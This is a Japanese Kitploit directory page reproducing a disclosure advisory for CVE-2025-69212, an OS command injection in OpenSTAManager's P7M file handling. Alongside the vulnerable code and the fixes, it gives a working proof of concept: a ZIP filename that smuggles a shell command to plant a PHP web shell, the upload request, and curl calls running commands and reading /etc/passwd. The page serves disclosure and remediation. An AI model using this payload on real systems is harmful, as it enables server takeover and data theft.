Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-69212 — CVE-2025-69212 - OpenSTAManagerは、P7Mファイル処理におけるOSコマンドインジェクションの脆弱性があります。 | Kitploit
ツール/GitHubGitHub/lukasz-rybak/cve-2025-69212
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールペイロード開発
GitHublukasz-rybak/cve-2025-69212

CVE-2025-69212

CVE-2025-69212 - OpenSTAManagerは、P7Mファイル処理におけるOSコマンドインジェクションの脆弱性があります。

リポジトリを見る
44ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-69212:OpenSTAManager の P7M ファイル処理における OS コマンドインジェクション

概要

フィールド詳細
CVE IDCVE-2025-69212
重要度CRITICAL
アドバイザリアドバイザリを表示
発見者Lukasz Rybak

影響を受ける製品

  • devcode-it/openstamanager(バージョン: <= 2.9.8)

CWE 分類

  • CWE-78: OS コマンドに使用される特殊要素の不適切な無害化('OS コマンドインジェクション')

詳細

要約

P7M(署名付き XML)ファイルのデコード機能には、重大な OS コマンドインジェクションの脆弱性が存在します。認証済みの攻撃者は、悪意のあるファイル名を持つ .p7m ファイルを含む ZIP ファイルをアップロードすることで、サーバー上で任意のシステムコマンドを実行できます。

脆弱なコード

ファイル: src/Util/XML.php:100

root@kitploit:~
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // VULNERABLE - No input sanitization!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

問題点:

  • $file パラメータはサニタイズなしで直接 exec() に渡されます
  • 二重引用符で囲まれていますが、攻撃者は引用符をエスケープできます
  • ファイル名はアップロードされた ZIP アーカイブから取得されます(ユーザー制御)

攻撃経路

エントリーポイント:

  1. plugins/importFE_ZIP/actions.php:126(自動インポートが有効な場合)

    root@kitploit:~
    foreach ($files_xml as $xml) {
        if (string_ends_with($xml, '.p7m')) {
            $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!
    
  2. plugins/importFE/src/FatturaElettronica.php:56(コンストラクタ)

    root@kitploit:~
    if (string_ends_with($name, '.p7m')) {
        $file = XML::decodeP7M($this->file);  // $name from user input!
    

攻撃フロー:

  1. 攻撃者は悪意のあるファイル名を含む ZIP を作成します
  2. importFE_ZIP プラグインを介して ZIP をアップロードします
  3. アプリケーションが ZIP を展開し、ファイルを反復処理します
  4. .p7m ファイルの場合、decodeP7M() が呼び出されます
  5. 悪意のあるファイル名が exec() コマンドに注入されます
  6. Web サーバーユーザーとして任意のコマンドが実行されます

概念実証(PoC)

⚠️ 重要な注意: PHP の ZipArchive::extractTo() はファイル名を / 文字で分割します。ペイロードのコマンドに / を含めないでください。絶対パスの代わりに cd directory && command を使用してください。

ステップ 1:悪意のある ZIP を作成

root@kitploit:~
import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

ステップ 2:ZIP をアップロード

root@kitploit:~
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
image image

ステップ 3:悪用の結果

レスポンス(500 エラーは想定どおり - XML 解析はコマンド実行の後に失敗します):

root@kitploit:~
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}

検証 - ウェブシェルが作成されました:

image

ステップ 4:リモートコード実行

ウェブシェルは認証なしで公開アクセス可能です:

root@kitploit:~
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
image

影響

  • リモートコード実行: サーバーの完全な侵害
  • データの外部流出: すべてのアプリケーションデータとデータベースへのアクセス
  • 権限昇格: Web サーバーが昇格した権限で実行されている場合の権限昇格の可能性
  • 永続化: バックドアをインストールしてアクセスを維持
  • 水平移動: ネットワーク上の他のシステムへのピボット

前提条件

  • インボイスインポート機能にアクセスできる認証済みユーザー

修正方法

入力のサニタイズ

root@kitploit:~
public static function decodeP7M($file)
{
    // Validate that file path doesn't contain shell metacharacters
    if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
        throw new \Exception('Invalid file path');
    }

    // Better: use escapeshellarg()
    $safe_file = escapeshellarg($file);
    $safe_output = escapeshellarg($output_file);

    exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}

または

処理前にファイル名を検証

root@kitploit:~
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
    // Only allow alphanumeric, dots, dashes, underscores
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; // Skip invalid filenames
    }

    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

クレジット

発見者:Łukasz Rybak

参照

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69212
  • https://github.com/advisories/GHSA-25fp-8w8p-mx36

免責事項

本 CVE は、coordinated vulnerability disclosure(調整された脆弱性開示)の慣行に従って責任を持って開示されました。ここで提供される情報は、教育および防御目的のみを目的としています。

ツールをダウンロード